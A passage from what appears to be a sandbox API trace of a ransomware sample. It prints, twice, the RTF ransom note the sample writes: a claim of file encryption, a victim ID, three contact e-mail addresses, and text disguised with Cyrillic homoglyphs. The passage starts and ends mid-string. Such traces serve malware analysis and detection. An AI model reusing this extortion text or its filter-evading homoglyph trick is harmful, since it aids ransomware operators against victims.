cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 